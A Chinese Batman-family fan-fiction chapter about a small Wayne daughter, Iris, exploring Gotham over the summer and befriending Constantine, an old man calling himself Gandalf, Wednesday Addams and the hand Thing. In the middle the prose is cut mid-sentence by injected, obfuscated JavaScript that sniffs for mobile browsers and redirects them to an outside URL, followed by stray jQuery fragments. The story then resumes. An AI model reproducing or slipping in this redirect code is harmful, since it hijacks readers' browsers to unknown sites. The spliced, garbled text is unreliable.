艾瑞斯正处于放假时节。
这意味着她有大把的时间——用她自己的话说——看电……不，是大把的时间出门玩。
家里的大人们对此有不同看法。他们一致认为艾瑞斯过于沉迷电视了。她每天都守在她的电视前，比吃饭还守时。
虽然这孩子没受过“时”，但她的守时程度足以让蝙蝠侠都自愧不如。
“她早上八点三十五分起床，”阿尔弗雷德在家庭早餐时汇报，“八点四十分坐到电视机前，八点四十二分准时打开动画频道。”
“这有什么问题吗？”布鲁斯问。
“先生，现在放暑假。”阿福意味深长地看了他一眼，“她可以一直看到晚上。”
布鲁斯沉默了。
提姆低头喝咖啡，假装没听见。杰森在群里发了一百条“让她看我推荐的电影”，达米安冷哼一声继续吃早餐。
艾瑞斯本人坐在她的儿童椅上，正用小勺子舀麦片吃，一脸无辜。
“我没有一直看。”她为自己辩护，“我每天只看到晚上。”
“那就是一直看。”迪克从门外探进头来，他昨晚刚回来过夜，“艾瑞斯，你知道什么是‘适度’吗？”
艾瑞斯想了想。“不知道。”
“……”
当然，作为小孩子，艾瑞斯的电子设备使用时间是严格受限的。
她每天只能玩两小时的平板，这是布鲁斯的底线。她的通讯器是一只衔着鸢尾花造型的手表，紫蓝色的钻石在阳光下闪闪发光，是阿福特意找人定制的——可以打电话、发消息，但不能玩游戏。
所以艾瑞斯的一天是这样度过的：
早上两小时动画片。
中午吃饭。
下午出门玩。
晚上两小时动画片或电影。
睡前故事。
加起来正好四小时。不多不少，完美卡在阿福说的“健康范围”内。
艾瑞斯觉得这个安排很合理。
因为她是个闲不住的类型。
作为幼儿园小孩，她是不存在作业之类的东西的。没有作业，没有补习班，没有任何需要完成的任务。这本来是很多小孩梦寐以求的生活，但艾瑞斯很快发现了一个问题——
无聊的时候怎么办？
无聊的时候，艾瑞斯会先在家里逛一圈，看看有没有能玩的事。
第一站通常是书房。
提姆在书房里处理公司文件，面前堆着小山一样的资料。艾瑞斯悄悄推开门，探进半个脑袋。
提姆头也不抬。“我在工作。”
“你在忙吗？”
“很忙。”
“有多忙？”
提姆终于抬起头，对上那双蓝汪汪的眼睛。
他很忙。真的很忙。韦恩集团的文件不会自己签字，股东大会的发言稿不会自己写，还有布鲁斯昨晚丢给他的三份蝙蝠侠相关调查报告需要整理。
但他看着门口那颗小脑袋，忽然说不出“你出去吧”这样的话。
“……你可以坐在那边看书画画。”他指了指角落里的沙发，“但是不能出声。”
艾瑞斯点点头，轻手轻脚地走进来，爬上沙发，从旁边的书架上拿了一本图画书。
她看了十分钟。
然后她开始无聊了。
她把书放下，看着提姆的背影。提姆在敲键盘，手指飞快，屏幕上跳出一行行字。
艾瑞斯看了一会儿。
“提姆。”
“嗯？”
“你在做什么？”
“写报告。”
“什么报告？”
“关于公司下季度预算的报告。”
“什么是预算？”
提姆停下手，深吸一口气。
“……就是计划怎么花钱。”
“哦。”艾瑞斯想了想，“那你在花很多钱吗？”
“不是花，是规划。”
“哦。”
安静了三十秒。
“提姆。”
“嗯？”
“你写完报告可以陪我玩吗？”
提姆转过身，看着她。
艾瑞斯坐在沙发上，抱着膝盖，眼睛亮晶晶的。她真的很乖，没有吵闹，没有乱跑，只是坐在这里等着。
提姆的心软了一下。
“等我写完这一页。”他说。
艾瑞斯笑了。
第二站是花园。
达米安在花园里训练。
他十一岁，回到韦恩家已经一年，但刀法已经凌厉得像个小刺客。他运刀如风，剑光闪闪，每一招都精准有力——
然后他停下来，转过身。
艾瑞斯蹲在灌木丛边，静静地看着他。
“你在看什么？”
“看你。”艾瑞斯坦诚地说。
达米安皱眉。“不要蹲在那里。危险。”
“嗯…我觉得已经很远了。”艾瑞斯说，“你离我很远。”
达米安深吸一口气。
他确实砍不到她。但这不是重点。重点是——
“你来这里做什么？”
艾瑞斯站起来，拍拍膝盖上的土，走到他面前。
“无聊。”
达米安：“……”
“你练完刀可以陪我玩吗？”
达米安沉默了。
他想起自己刚回到韦恩家时的样子。那时候他对所有人都不信任，对一切都保持警惕。布鲁斯说，慢慢来，不用着急。迪克说，我们是一家人。阿福说，韦恩庄园随时欢迎你。
艾瑞斯什么都没说。她只是每次见到他都笑，每次接她都牵他的手，每次无聊的时候都来找他。
“……我还要练一会儿。”他最后说。
艾瑞斯点点头，从口袋里掏出一个小东西，放在旁边的石凳上。
是一只小绵羊玩偶。
是她喜欢的旧玩具，只是最普通的那种——手掌大小，绿色的，眼睛是两颗黑珠子，是艾瑞斯从家里某个角落翻出来的。
“这个陪你。”她说。
然后她跑走了。
达米安看着那只小绵羊，沉默了很久。
他继续练刀。
达米安从没做过作业。
他觉得那些问题太蠢了。简单的加减法，基础的单词拼写，无聊的常识问答——他八岁就能用阿拉伯语写论文，十岁已经精通多国语言，小学级别的作业对他来说简直是侮辱。所以他跳级了。
但在艾瑞斯探究的眼神下，他会不情不愿地写一下。
不是因为怕她。是因为没人希望艾瑞斯养成坏习惯。
“达米安为什么不做作业？”艾瑞斯第一次看到他在书房发呆时问过。
“因为他会。”布鲁斯回答。
“那我也要会。”
“嗯，你会的。”
艾瑞斯想了想，没有继续追问。
但她从此多了一个习惯：每次路过达米安的书桌，都要看一眼他在做什么。
如果他在写作业，她就点点头，走开。
如果他在发呆，她就歪着头，用那种探究的眼神看着他，直到他受不了，拿起笔装模作样地写几个字。
做作业什么过于枯燥，所以艾瑞斯不会浪费时间陪达米安在写作业的时候。
不过达米安可以收获艾瑞斯的一只小玩偶在书桌上陪他。
这是艾瑞斯的习惯，要是突然走开感觉是抛弃一样。
达米安的书桌上现在有三颗玻璃珠、两颗糖果、一只绵羊玩偶。
他从来没扔过。
——
关于艾瑞斯的外出，布鲁斯一开始是安排去游乐园的。
他觉得所有小孩都喜欢游乐园。旋转木马，摩天轮，棉花糖，彩色气球——多好啊，多适合一个四岁的小女孩啊。
但艾瑞斯并不喜欢游乐园。
第一次去的时候，她坐了旋转木马，表情平淡。第二次去的时候，她玩了滑梯，没什么反应。第三次去的时候，她站在游乐园门口，仰头看着那些五颜六色的设施，然后问布鲁斯：
“爸爸，我们可以去别的地方吗？”
“你想去哪？”
艾瑞斯想了想，指向游乐园外面那条普通的街道。
“那里。”
布鲁斯愣了一下。“那里有什么？”
“不知道。”艾瑞斯说，“所以想去看看。”
布鲁斯沉默了。
他带她去了那条街。
艾瑞斯走得很慢。她看路边的橱窗，看地上的砖缝，看墙上贴的海报，看行人匆匆走过的脚。她看到一只猫从巷子里窜出来，追着看它跑远。她看到一只鸽子在广场上啄食，蹲下来看了五分钟。
那天他们在外面逛了三个小时。
艾瑞斯一次都没说累。
从那以后，艾瑞斯的“外出”就变成了“逛街”。
她很喜欢逛街。无论是在哥谭的哪——商业街，老城区，码头边，甚至那些看起来有点破旧的巷子——她都兴致勃勃。她想要探索这个城市。
她像是一只小精灵，在灰扑扑的城市里欢悦着蹦跳。
而且按艾瑞斯的精力，还真不是一般小孩能达到的。
阿福有一次陪她出门，原本计划走一个小时，结果走了三个小时。艾瑞斯一直在前面蹦蹦跳跳，一会儿看橱窗，一会儿追鸽子，一会儿蹲在地上研究蚂蚁。阿福在后面跟着，最后不得不承认：他累了，而艾瑞斯还在跑。
“小姐，”他礼貌地问，“您不累吗？”
“不累啊。”艾瑞斯回头看他，“阿福累了吗？”
阿福沉默了一秒。
“……有一点。”
艾瑞斯立刻跑回来，牵住他的手，指着前面的长椅。“那我们坐一会儿。”
阿福坐下来，看着身边的小女孩。她正仰着脸晒太阳，眯着眼睛，嘴角弯弯的。
他想：这个小女孩以后可能会跑遍整个哥谭。
艾瑞斯的每次闲逛都像是侦探一样，仔仔细细地不放过每一个角落。
她看橱窗里的摆设，研究哪家店换了新的装饰。她看墙上的涂鸦，猜测画画的人是什么心情。她看地上的井盖，发现每个井盖的花纹都不一样。她看路边的信箱，注意到有的锈了，有的新刷了漆。
哥谭在她眼里不是一个危险的城市，而是一本巨大的图画书，每一页都有新的东西。
令人高兴的是，艾瑞斯在此期间找到了朋友。
不是幼儿园那种“今天一起玩明天就忘”的朋友，是真正的、可以一起玩的朋友。
三十五岁的康斯坦丁是第一个。
那天艾瑞斯跟着阿福路过一条巷子，看见一个穿风衣的男人靠在墙边抽烟。他的脸有点憔悴，眼神有点疲惫，整个人看起来像是刚从什么麻烦里脱身。
艾瑞斯停下来看他。
康斯坦丁察觉到视线，转过头，对上一双蓝汪汪的眼睛。
“……看什么？”他问。
“你看起来累了。”艾瑞斯说。
康斯坦丁愣了一下。
“累了就坐下休息。”艾瑞斯指了指旁边的台阶，“那里可以坐。”
然后她就走了。
康斯坦丁站在原地，半天没动。
后来他告诉别人，那个小女孩很奇怪，不烦人，就是怪。她说的话好像没什么特别，但就是让他感觉身体放松了不少。
再后来，他在街上又遇到她几次。有时候她在看蚂蚁，有时候她在追鸽子，有时候就只是走着走着，忽然停下来，指着某个方向说“那里有只猫”。她从来不缠着他问东问西，也不害怕他的表情，就像遇到一个普通的邻居一样，点点头，笑笑，然后继续走自己的路。
康斯坦丁发现自己开始习惯在街上看看那个小小的身影。
——
自称甘道夫的老爷爷是第二个。
他看起来七八十岁，白胡子很长，穿着旧旧的灰色长袍，经常坐在公园的长椅上晒太阳。艾瑞斯第一次见到他时，他正在喂鸽子。
艾瑞斯在他旁边坐下来。
老爷爷看了她一眼，继续喂鸽子。
“你叫什么名字？”艾瑞斯问。
“甘道夫。”老爷爷说。
艾瑞斯想了想。“那是书里的人。”
老爷爷笑了。“你怎么知道？”
“阿福给我读过。”艾瑞斯说，“《霍比特人》。”
老爷爷点点头。“那你觉得我是真的甘道夫吗？”
艾瑞斯认真地看着他，看了很久。
“不是。”她说，“但是你很像。”
老爷爷又笑了。
从那以后，艾瑞斯每次路过公园，都会去找他坐一会儿。他给她讲故事——不是《霍比特人》里的故事，是他自己编的故事，关于一个白胡子巫师到处旅行的故事。艾瑞斯听得津津有味，有时候还会问问题，比如“巫师吃饭吗”“巫师睡觉吗”“巫师有朋友吗”。
老爷爷每次都认真回答。
刚搬家来哥谭的星期三，是第三个。
也是艾瑞斯玩得最好的一个。
那天下午，艾瑞斯跟着杰森出门。
杰森难得回哥谭，自告奋勇要带她出去玩。他本想带她去吃冰淇淋，但艾瑞斯指了指另一个方向。
“那边。”
“那边有什么？”
“不知道。”艾瑞斯说，“没去过。”
杰森只好跟着她走。
他们穿过两条街，绕过一个小广场，最后来到一排联排别墅前面。其中一栋门口停着搬家公司的车，几个工人正往里抬箱子。
艾瑞斯停下来看。
一个穿黑色裙子的小女孩站在门廊上，面无表情地看着工人们搬东西。她的皮肤很白，头发很黑，扎着两条辫子，眼神冷冷的，和周围的一切格格不入。
她看起来和艾瑞斯差不多大。
艾瑞斯看着她。
她看着艾瑞斯。
杰森站在旁边，忽然感觉空气有点冷。
“……要不我们去吃冰淇淋？”他试探着问。
艾瑞斯没理他。她走上台阶，站在那个黑裙子小女孩面前。
“你叫什么名字？”
小女孩看着她，眼神没有变化。
“星期三。”
“那是今天吗？”
“不是。是我的名字。”
艾瑞斯想了想。“你刚搬来？”
“嗯。”
“你认识这里的人吗？”
“不认识。”
“你想认识吗？”
星期三沉默了一下。
“不想。”她说，“他们都很无聊。”
艾瑞斯笑了。
“那你想认识不无聊的人吗？”
星期三看着她。
艾瑞斯站在阳光下，浅灰黑的头发有点乱，蓝汪汪的眼睛弯成两道月牙，碎花裙上沾了一点不知道哪来的灰。她笑得很开心，好像遇到了什么有趣的事。
星期三看了她三秒。
“……也许。”她说。
那天下午，杰森一个人站在门廊外，看着两个小女孩隔着铁门说话。
他不知道她们在说什么。他只看见艾瑞斯一直在笑，星期三的表情从冷淡变成面无表情——在星期三那里，这已经是“友好”的表达了。
半个小时后，艾瑞斯跑回来，牵起他的手。
“走吧。”
“你们聊完了？”
“嗯。”艾瑞斯点点头，“明天还来。”
杰森低头看她。“你交到朋友了？”
艾瑞斯想了想，笑了。
“可能吧。”
第二天，艾瑞斯准时出现在那栋联排别墅门口。
星期三已经在等她了。
她今天换了一条黑色的裙子，头发还是扎成两条辫子，脸上依然没什么表情。但她站在门口，不是站在门廊上，而是站在台阶下面。
“我以为你不会来。”星期三说。
“为什么？”
“很多人都这么说。”
艾瑞斯歪着头想了想。“那是他们。不是我。”
星期三看着她，没有说话。
“今天去哪玩？”艾瑞斯问。
星期三沉默了一下。
“我不知道这里有什么。”
“那我带你去。”艾瑞斯伸出手，“我认识路。”
星期三看着那只伸过来的小手。
很小，软软的，指甲剪得很整齐，手背上还有一个小小的疤，不知道是哪里磕的。
她犹豫了一秒。
然后她伸出手，握住了那只手。
艾瑞斯带着星期三走遍了附近的街区。
她给她看自己发现的宝藏：墙角有一窝小猫，是流浪猫妈妈生的，现在差不多两个月大；巷子里有一面墙画满了涂鸦，每周都会换新的；面包店门口有一只胖猫，每天都在那里晒太阳，从来不挪地方；公园里有一个老爷爷，看起来像甘道夫，会讲很多故事。
星期三一路跟着她，不怎么说话，但每到一个地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244855|197845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方都会停下来认真看。
她看小猫的时候，蹲了很久。
“你喜欢猫？”艾瑞斯问。
“嗯。”
“那你也可以养一只。”
星期三摇摇头。“家里不让。”
“为什么？”
“因为家里已经养了手。”
艾瑞斯想了想。“那你可以在外面养。”
“外面养？”
“就像它们。”艾瑞斯指了指小猫，“它们住在外面，但是你可以来看它们。这样就不算在家里养了。”
星期三眨眨眼，好像第一次听到这个思路。
“……可以这样吗？”
“为什么不可以？”艾瑞斯理直气壮，“我就这样养鳄鱼的。”
星期三看着她。“你家养鳄鱼？”
“没有。”艾瑞斯坦诚地说，“但是我有一屋子鳄鱼玩偶。我试图在外面养它们，杰森正在帮我”
星期三沉默了一下。
那是星期三第一次笑。
不是大笑，只是嘴角微微弯了一下，很快又收回去了。但艾瑞斯看到了。
“你笑了。”她说。
星期三恢复面无表情。“没有。”
“有。”
“没有。”
“有。”艾瑞斯笑了，“你笑起来好看。”
星期三别过脸，耳朵尖有点红。
——
接下来的日子，艾瑞斯每天都去找星期三。
她们一起探索哥谭的街道，一起看小猫长大，一起听甘道夫讲故事，一起蹲在路边观察蚂蚁搬家。星期三话不多，但艾瑞斯不在意——她本来就很习惯和自己玩，现在多了个人在旁边，也挺好的。
星期三的妈妈是个看起来很严肃的女人，穿着黑色的长裙，头发盘得很高，眼神很冷。她第一次见到艾瑞斯时，站在门廊上看了很久。
艾瑞斯仰起头，对她挥挥手。
“阿姨好。”
女人没有说话。
星期三站在旁边，有点紧张。
过了一会儿，女人开口了：“你是隔壁街区的？”
“我是韦恩家的。”艾瑞斯说，“住在那边的大房子里。”
女人的眉毛微微动了一下。
“布鲁斯·韦恩的女儿？”
“嗯。”
女人又沉默了一会儿。
然后她点点头，转身进去了。
星期三松了一口气。
“你妈妈不喜欢我？”艾瑞斯问。
“她不喜欢任何人。”星期三说。
“那她喜欢你吗？”
星期三想了想。“她是我妈妈。”
艾瑞斯点点头，好像懂了，又好像没懂。
“那她对你挺好的。”她说。
星期三看着她。“你怎么知道？”
“因为你是她女儿啊。”艾瑞斯理所当然地说，“我爸爸也对我好。虽然他很忙，有时候不回家，但他对我好。”
星期三沉默了一下。
“不一样的。”她低声说。
艾瑞斯没有追问。
她只是牵起星期三的手。
“走吧，今天去看小猫。”
一个月后，星期三的房间里多了一只鳄鱼玩偶。
是艾瑞斯送的。
不是后来那一屋子会叫的鳄鱼，只是最普通的一种——手掌大小，绿色的，眼睛是两颗黑珠子。
“这是什么？”星期三问。
“鳄鱼。”艾瑞斯说，“我的。”
“你的？”
“嗯。我的鳄鱼分你一只。”艾瑞斯认真地说，“这样它就可以陪你睡觉了。”
星期三看着那只小鳄鱼。
它有点丑。绿得不均匀，眼睛一大一小，嘴巴缝得有点歪，一看就是手工做的——而且是小孩做的手工。
“你自己做的？”
“嗯。阿福帮我缝的，但是形状是我画的。”
星期三沉默了一下。
她把小鳄鱼放在床头，和自己那些黑色的娃娃摆在一起。
“它叫什么？”
艾瑞斯想了想。“叫……星期三吧。”
星期三看着她。“它是绿的。”
“那你给它起个名字。”
星期三想了一会儿。
“叫……艾瑞斯。”她说。
艾瑞斯眨眨眼。
“那是我的名字。”
“嗯。”星期三说，“这样它就像你一样，可以陪我。”
艾瑞斯愣了一下，然后笑了。
“好。”她说，“那就叫艾瑞斯。”
那天晚上，布鲁斯回到家，发现艾瑞斯坐在客厅里，怀里抱着aaa布鲁斯，眼睛亮晶晶的。
“爸爸。”
“嗯？”
“我今天有朋友了。”
布鲁斯停下来，看着她。
“是那个叫星期三的女孩？”
“嗯。”艾瑞斯点点头，“她今天笑了。还给我起了名字。给我的鳄鱼。”
布鲁斯弯起嘴角。
“那很好。”
“嗯。”艾瑞斯说，“她不喜欢说话，但是她喜欢小猫，喜欢听甘道夫讲故事，喜欢看我画的鳄鱼。她还说，明天要带我认识她的宠物。”
“她有宠物？”
“有。她说叫什么东西……”艾瑞斯歪着头想了想，“好像是……叫什么什么手？”
布鲁斯的表情顿了一下。
“……什么东西的手？”
“不知道。”艾瑞斯说，“明天就知道了。”
布鲁斯沉默了几秒。
他决定明天让阿福陪她去。
第二天，艾瑞斯准时出现在星期三家门口。
星期三带她上楼，走进自己的房间。
房间是黑色的。黑色的墙壁，黑色的窗帘，黑色的床单，黑色的娃娃。唯一的亮色是床头那只绿色的小鳄鱼，和角落里一个玻璃缸。
玻璃缸里有一只手。
白色的，有五根手指，静静地躺在沙子上。
艾瑞斯凑过去看。
“这是什么东西？”
“手。”星期三说。
“什么的手？”
“不知道。妈妈给我的。”
艾瑞斯看着那只手，看了很久。
“它会动吗？”
“会。”
“它有名字吗？”
“叫东西。”
艾瑞斯想了想。
“那你明天可以带它出来玩吗？”
星期三愣了一下。“……你想带它出来玩？”
“嗯。”艾瑞斯点点头，“它一直待在缸里，会不会无聊？”
星期三沉默了。
她第一次遇到有人关心她的手无不无聊。
“……也许吧。”她说。
后来，那只叫“东西”的手，成了艾瑞斯的第三个朋友。
虽然它不会说话，不会动，只能躺在玻璃缸里。但艾瑞斯每次来都会跟它打招呼，跟它讲自己今天看到了什么，跟它说星期三今天笑了几次。
星期三有时候会想：这个女孩真的很奇怪。
但她没有说出来。
她只是每天等在门口，等她来。
暑假结束的时候，艾瑞斯在幼儿园的“我的朋友”主题画展上，画了三幅画。
一幅是一个穿风衣的男人，站在巷子里抽烟。
一幅是一个白胡子老爷爷，坐在长椅上喂鸽子。
一幅是一个穿黑裙子的小女孩，站在门廊上，旁边放着一只玻璃缸。
老师问她：“这些是你的朋友吗？”
艾瑞斯点点头。
“他们多大呀？”
艾瑞斯想了想。
“这个三十五岁。这个七八十岁。这个和我一样大。”她指了指那幅玻璃缸，“这个……不知道。”
老师看着那幅画，沉默了一会儿。
“……这是什么？”
“手。”艾瑞斯说，“它叫东西。”
老师没有再问。
那天下午，达米安来接艾瑞斯放学。
他把那幅画拿起来看了看，又放下。
“…抽象派。”
艾瑞斯没生气。她牵起他的手，笑嘻嘻的。
“带我回家吧，哥哥！”
达米安低头看她。
她笑得很开心，眼睛弯弯的，露出缺了一颗的门牙。
他握紧那只小手。
“走吧。”